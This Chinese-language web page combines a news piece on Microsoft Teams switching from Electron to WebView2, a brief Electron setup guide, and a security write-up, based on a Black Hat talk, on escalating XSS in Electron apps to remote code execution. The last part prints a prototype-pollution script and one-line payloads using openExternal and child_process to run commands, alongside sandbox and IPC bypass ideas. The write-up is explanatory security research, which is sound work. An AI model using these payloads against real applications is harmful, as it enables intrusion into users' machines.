軟近期宣布,旗下 Teams 應用活躍用戶已經達到驚人的 2.5 億。這讓 Teams 成了繼 Word 和 Excel 之后,微軟 Office 生產力套件中的又一位當紅明星。然而,Teams 一直受到性能問題的困擾,瘋狂吞噬系統資源,用戶們對此吐槽不斷。
前不久,微軟 Teams 高級副總裁宣布,Teams 將放棄 Electron,轉而匹配微軟自己的 Edge WebView2 渲染引擎以尋求性能提升。官方聲稱,調整之后 Teams 的內存消耗量將直接減半,并有望以 Teams 2.0 的形象隨 2022 年末上市的 Windows 11 一同亮相。
據悉,在 Windows 11 中,用戶可以通過文字、聊天、語音或視頻與聯系人即時連接,無論他們使用的是 Windows、Android 還是 iOS。對方即使沒有下載 Teams 應用程序,雙方也可以通過雙向短信聯系。Windows 11 還支持立即靜音和取消靜音,或者直接從任務欄開始呈現 Teams。
對于已經嘗試了許多不同技術來減少桌面客戶端所需內存的微軟來說,這似乎是邁出的很大一步了。有很多網友表示很開心看到這一變化。
“Angular 也不見了。我們現在 100% 使用 reactjs。”Teams 工程師 Rish Tandon 在推特上表示。“這些變化聽起來很棒!”有人留言道,但對于網友提出的“Win10 和 MacOs 也會有嗎?”Tandon 沒有回答。
根據 Tandon 的說法,這項工作大概花費了 Teams 團隊 6 個月的時間,優化后的 Teams 2.0 消耗的內存將只有 Teams 1.0 上相同帳戶的一半。
時至今日,仍有眾多知名應用都選用 Electron 來提供支持。Electron 框架能夠幫助 Web 開發者將自己的 Web 應用發布至桌面平臺,且不受任何特定平臺的復雜性影響。但由于一切 Electron 應用程序后端都要運行只屬于自己的 Chrome OS 實例,所以同時運行兩個以上此類應用就會瘋狂消耗主機資源。
于是,在 Electron 之上執行大量處理操作的 Teams 也無法避免地瘋狂占用內存、拖慢計算機速度。微軟甚至專門發布了文檔頁面,解釋為什么 Teams 的內存占用量如此之高。
與 Electron 不同,WebView2 會監控 Chromium 的行為、檢測還有多少系統內存可用,從而更有效地利用內存資源優化渲染體驗。如果其他應用程序或服務需要系統內存,Chromium 就會將空間移交給這些進程。如此一來,內存容量較小的低端計算機也能帶來不錯的性能表現。
WebView2 更像是一種類似于應用窗口的控件,專門用于渲染 Web 頁面。事實上,WebView2 控件還允許在原生應用程序中嵌入 Web 技術(包括 HTML、CSS 與 JavaScript)。所以要想將 Teams 規模的應用程序過渡至 WebView2,開發團隊需要對大量由 Electron 提供的抽象進行重寫。因此,Teams 在本質上將變得更接近于原生 Windows 應用程序。
目前,WebView2 已經被 Outlook 作為微軟“One Outlook”項目的組成部分。
Teams 需要處理大量音頻與視頻內容,所以微軟認為最好能把一部分工作負載轉移給 WebView2 更擅長的原生形式。事實也證明,Electron 抽象并不能有效完成這些處理任務。但從嚴格意義上來說,Webview2 并不屬于 Electron 的替代方案。
Webview2 并不是 Electron 那樣可以在桌面平臺上快速發布 Web 應用的打包器。Electron 與 WebView2 都是以 Chromium 為基礎構建而成,但更嚴格地說,WebView2 繼承的是 Edge 源代碼,而 Edge 又用到了 Chromium 源代碼的一個分支。Electron 則不與 Chrome 共享任何 DLL。WebView2 二進制文件硬鏈接至 Edge(截至 Edge 90 的 Stable 版本),所以二者使用著相同的磁盤及其他一些工作集機制。
Electron 應用會始終捆綁并分發其開發過程中所使用的特定 Electron 版本。相比之下,WebView2 在發布方面則提供兩個選項:可以直接捆綁應用開發時所使用的特定 WebView2 庫,也可以使用系統上已經存在的共享運行時版本。WebView2 為這兩種方法分別提供工具,包括一個防止共享運行時丟失的引導安裝程序。而且從 Windows 11 版本開始,操作系統已經內置有 WebView2 運行時。
捆綁二者框架的應用程序負責保持框架更新,包括更新各次要安全增強版本。而對于使用共享 WebView2 運行時的應用程序,版本維護則依靠 WebView2 自己的更新程序,會以類似 Chrome 或 Edge 的方式獨立于應用程序之外運行。WebView2 更新應用程序的代碼或任何其他依賴項仍由開發者負責管理,這一點與 Electron 相同。值得注意的是,Windows 更新管理功能并未覆蓋到 Electron 與 WebView2。
Electron 與 WebView2 都繼承了 Chromium 的多進程架構——即由單一主進程同一個或多個渲染器進程通信。這些進程同系統上正在運行的其他應用程序完全分離,每個 Electron 應用程序都擁有一個獨立的進程樹,其中包含一個根瀏覽器進程、部分實用程序進程外加一定數量的渲染進程。與應用套件類似,使用相同用戶數據文件夾的各 WebView2 應用程序之間會共享非渲染器進程,但使用不同數據文件夾的 WebView2 應用程序之間則不共享任何進程。
ElectronJS 流程模型:
基于 WebView2 的應用程序流程模型:
Electron 能夠為各類常見桌面應用需求提供 API,例如菜單、文件系統訪問、通知等等。WebView2 則能以組件的形式集成到 WinForms、WPF、WinUI 或者 Win32 等應用程序框架當中。另外,WebView2 僅通過 JavaScript 提供符合 Web 標準的操作系統 API。
Electron 當中集成有 Node.js,因此 Electron 應用程序可以使用來自渲染器及主進程的任何 Node.js API、模塊或者 node-native-addon。WebView2 應用程序則不會對應用程序各個部分所使用的編程語言或框架做任何預設,JavaScript 代碼必須通過 application-host 進程代理才能訪問操作系統。
Electron 提供可配置的 Web 內容安全模型,配置范圍涵蓋完全開放訪問到完全沙箱模式。WebView2 內容則始終保持沙箱化。Electron 還提供關于如何選擇安全模式的詳盡說明文檔,而 WebView2 則提供豐富的安全最佳實踐。
Electron 源代碼在 GitHub 上進行維護與交付,各應用程序能夠修改并構建屬于自己的 Electron 品牌。WebView2 源代碼則并未登陸 GitHub。
具體差異總結如下:
Electron
WebView2
構建基礎
Chromium
Edge
源代碼是否登陸GitHub
是
否
是否共享Edge/Chrome DLL
否
是(截至Edge 90)
不同應用程序間是否共享運行時
否
可選
應用程序API
是
否
Node.js
是
否
沙箱
可選
始終
需要應用程序框架
否
是
所支持平臺
Mac, Win, Linux
Win (Mac/Linux正在籌備)
不同應用間是否共享進程
從不
可選
框架更新由誰管理
應用程序
WebView2
需要強調一點區別,這也是 Electron 應用程序中的一項重要性能考量因素。
在 Chromium 當中,瀏覽器進程負責充當沙箱渲染器與系統其余部分之間的 IPC 代理。雖然 Electron 支持非沙箱渲染進程,但也有不少應用會選擇啟用沙箱以提升安全水平。WebView2 則始終啟用沙箱,所以對于大多數 Electron 及 WebView2 應用程序而言,IPC 確實會影響到整體性能。
雖然 Electron 與 WebView2 的流程模型基本相似,但底層 IPC 卻有所不同。JavaScript 與 C++或 C#之間的通信需要經過編組,而且最常見的方法是編組為 JSON 字符串。請注意,JSON 序列化/解析操作的資源成本極高,因此 IPC 瓶頸必然會對性能產生負面影響。因此從 Edge 93 開始,WebView2 將對網絡事件使用 CBOR。
Electron 則通過 MessagePorts API 支持任意兩個進程之間的直接 IPC,其中使用到了結構化克隆算法。利用這項功能,應用程序就能避免在不同進程間發送對象時執行資源成本高昂的 JSON 序列化操作。
Electron 與 WebView2 雖然有著不少差異之處,但二者在渲染 Webn 內容方面卻高度一致。最核心的影響還是來自應用程序架構與 JavaScript 庫/框架在內存與性能層面的影響,畢竟同樣師出 Chromium。
2017 年時,Electron 可以說是 Web 應用在桌面平臺發布的最佳、甚至是唯一選項,但如今它卻成了需要被優化淘汰的對象。這可能代表著跨平臺框架格局中的一大關鍵里程碑,也可能僅僅是微軟 Teams 做出的一項小小調整。但具體如何,還有待時間的檢驗。
相關鏈接:
https://www.electronjs.org/blog/webview2
https://blog.devgenius.io/microsoft-is-finally-ditching-electron-9e081757f9db
lectron是一個前端桌面開發框架,對于前端開發人員來說是個很好的選擇,做過前端的都懂的,HTML、CSS、Javascript都爛熟于心,可以很方便地利用這個框架開發跨平臺的桌面應用。
Electron官方文檔是這樣解釋的:
Electron是一個使用 JavaScript、HTML 和 CSS 構建桌面應用程序的框架。 嵌入 Chromium 和 Node.js 到 二進制的 Electron 允許您保持一個 JavaScript 代碼代碼庫并創建 在Windows上運行的跨平臺應用 macOS和Linux——不需要本地開發 經驗。
1、安裝node.js,官網(nodejs.org)下載 LTS(長期更新維護)版本安裝即可。
2、測試是否安裝成功。開始--運行--"cmd",在命令提示符窗口輸入:node -v ,npm -v,正常出現版本號即告安裝成功。
3、安裝Electron框架。同樣在命令提示符窗口輸入: npm install -g electron ,執行全局安裝。也可以進行開發環境安裝,即在項目下進行安裝,命令是:npm install electron --save-dev。這個過程比較慢,國外的網站,要看時間段或者線路等,用單位的中國電信專線是比較快,在家中用移動和聯通的聚合線路(用的軟路由)也還算可以,如果慢的不能忍受,就多開幾個窗口同時搞吧!!!安裝完成后用命令:npx electron -v 檢測出現版本號即為安裝正常。
4、都安裝完成后,執行命令:electron。如果安裝的沒有問題,正常情況下會彈出一個Electron框架程序窗口,即宣布Electron開發環境搭建大功告成,下一步就可以進行開發測試了......
1 簡介
在今年Blackhat的會議上,安全研究員Aaditya Purani和Max GarreG分享了議題《Pwning Popular Desktop apps while uncovering new attack surface on Electron》, 分享了幾個Electron利用的新方法和他們挖到幾個Electron應用的漏洞案例。
Electron是一個桌面應用程序的框架,極大的方便了跨平臺應用的開發。Chromium和Node JS是Electron的重要組成部分。因為Electron擁有直接執行Nodejs代碼的能力,并且內置了Chromium內核。一個XSS漏洞,很可能就會導致RCE。
本文以安全研究員Aaditya Purani和Max GarreG的思路為依據,簡單聊一聊Electron結構,上下文進行和Electron框架XSS到RCE的攻擊面。
02 Electron基本構架
Electron是使用JavaScript,HTML和CSS構建跨平臺的桌面應用程序的框架,可構建出兼容Mac、Windows和Linux三個平臺的應用程序。
Electron使用Chromium完成UI渲染, 通過內置Node.js提供原生系統的能力,如文件系統和網絡的訪問。
Electron繼承了來自Chromium的多進程架構,每個Electron應用都有一個單一的主進程,作為應用程序的入口點。主進程在、Node.js環境中運行,這意味著它具有require模塊和使用所有Node.js API的能力。主進程的主要目標是使用BrowserWindow模塊創建和管理應用程序窗口。
每個Electron應用都會為每個打開的BrowserWindow( 與每個網頁嵌入 ) 生成一個單獨的渲染器進程。渲染器負責渲染網頁內容。渲染器進程也有訪問NodeJs共享庫的能力,但是需要依賴系統配置。
渲染器進程和主進程直接存在隔離,通過進程IPC進行通信,一般我們通過XSS拿到的JS執行權限處于渲染進程之中。
渲染進程的上下文也可以分為兩種:
Preload.js和網頁上下文,preload的上下文訪問權限,一般高于網頁上下文 。
這時有兩種思路獲取權限:
利用渲染進程本身進行RCE
通過IPC,影響主進程進行RCE
03 Electron核心選項
而我們可以使用哪種思路,還需取決于Electron選項,以下幾個是值得我們關注的選項:
Sandbox
Node Integration
Context Isolation
04 Electron利用方法
我們對選項的不同組合情況進行討論, 這里我們為了方便討論,規定:
NI為true, CISO為 false,無沙箱
這種情況是最簡單的情況,允許了頁面之間訪問nodejs共享庫,并且沒有開啟沙箱。只要我們能獲取目標應用的一個XSS漏洞,就能直接通過訪問NodeJS共享庫,升級為XSS漏洞
在man.js中webPreferences中配置了nodeIntegration為true, contextIsolation為false,默認情況下nodeIntegration為true,沙箱就會關閉
script直接執行nodejs代碼,即可獲取shell
NI為false, CISO為false,SBX為false
在這種情況下,相比于第一種情況,雖然關閉了Nodejs集成,導致我們不能在web頁面上下文訪問Nodejs共享庫。但是因為上下文隔離沒有開啟,web頁面和preload.js處于同一上下文中,導致我們可以通過污染原型鏈,獲取preload,js的函數,進行ipcmain調用,命令執行等
原型鏈污染獲取__webpack_require__
通過如下代碼進行原型鏈污染,可以獲取到__webpack_require__函數,進而引入remote/IPC進行進一步利用
<script>
const origEndWith = String.prototype.endsWith;
String.prototype.endsWith = function(...args) {
if (args && args[0] === "/electron") {
String.prototype.endsWith = origEndWith;
return true;
}
return origEndWith.apply(this, args);
}
const origCallMethod = Function.prototype.call;
Function.prototype.call = function(...args){
if(args[3] && args[3].name === "__webpack_require__") {
window.__webpack_require__ = args[3];
Function.prototype.call = origCallMethod;
}
return origCallMethod.apply(this, args);
}
console.log(window.__webpack_require__);
</script>
版本限制
Electron<10
- 可以使用原型鏈污染獲取remote/IPC模塊
- Remote模塊可以直接通過主進程執行node js繞過沙箱
Electron 10<version<14
- 可以使用原型鏈污染獲取remote/IPC模塊
- 需要Remote Module Explicitly Enabled,才可以使用remote模塊RCE
- 主進程IPC存在錯誤配置,通過進程間通信IPC,進行RCE
Electron >14
- 只能通過原型鏈污染獲取IPC模塊
主進程IPC存在錯誤配置,通過進程間通信IPC,進行RCE
利用__webpack_require__進行RCE
無沙箱的情況下,獲取openExternal直接執行系統命令
window.__webpack_require__('./lib/common/api/shell.ts').default.openExternal('file:///System/Applications/Calculator.app/Contents/MacOS/Calculator')
window.__webpack_require__("module")._load("child_process").execFile("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
有沙箱的情況下,獲取ipc,通過主進程的錯誤配置RCE
ipc = __webpack_require__('./lib/renderer/ipc-renderer-internal.ts').ipcRendererInternal
a=__webpack_require__('./node modules/process/browser.is')._linkedBinding('electron_renderer_ipc')
以下為無沙箱直接使用openExternal RCE的例子
NI為true/false, CISO為true,SBX為false
因為沒有開啟沙箱,通過Chrome渲染進程遠程代碼執行漏洞,就可以直接RCE。比如Chromium的CVE-2021-21220漏洞, 影響Chromium 83、86、87、88版本,如果electorn內置了Chromium就可以通過XSS,直接攻擊,進行RCE。
NI:false, CISO:true, SBX為true
有沙箱, 我們只能通過IPC進行攻擊,但是如果我們js處于iframe之中,可能沒有ipc訪問權限, 這里分享一些繞過思路。
iframe下無ipc接口繞過
默認情況下iframe是沒有preload.js暴露的ipc接口的,如果我們獲取了一個Iframe的上下文XSS,就不能通過IPC的錯誤配置RCE。
這里提供了一個繞過手法nodeIntegrationInSubFrames選項,代表是否開啟iframe環境的預加載腳本執行,如果開啟我們就能在Iframe上下文訪問contextBridge暴露的接口。
這個選項是一個實驗選項,默認是關閉狀態
但是我們可以通過v8 renderer exploit Nday獲得的任意內存寫的能力,覆蓋它為開啟
從而獲得在Iframe上下文訪問contextBridge能力,進行RCE。
關閉CISO,直接使用IPC,繞過限制
如果在渲染進程的contextBridge存在一些限制,導致我們無法直接執行惡意腳本,比如如下渲染進程的contextBridge限制了openPath的協議只能為http等安全協議,導致無法利用
我們可以通過v8 renderer exploit關閉CISO選項,然后通過原型鏈污染直接獲取ipc,直接使用進程間通信訪問main進程的ipcMain監聽的方法,繞過contextBridge的限制
關閉CISO,使用原型鏈污染獲取remote模塊進行RCE
在Electron低版本,一旦關閉了CISO, 我們也可以通過原型鏈污染泄露remore模塊的方式,遠程將js代碼發送給main進程,通過main.js執行的方式進行RCE。
下圖是示例的污染方式,獲取require函數,引入remote.ts,引入remote模塊,執行系統命令
05 總結
Electron是一個桌面應用程序的框架,具有方便的跨平臺特性,大量的桌面應用都使用Electron開發,如VSCode, Discord等。如果開發者不注重Electron的安全,開啟了一些高危選項,很可能導致安全問題。本文討論了影響Electron安全的3個比較重要的選項,Sandbox,Context Isolation,Node Integration。以及這些選項的狀態組合之下,對Electron可能具有的攻擊方法。希望能起到拋磚引玉的作用。
from https://mp.weixin.qq.com/s/E9cBVrIikwDm1X586xl-vw
*請認真填寫需求信息,我們會在24小時內與您取得聯系。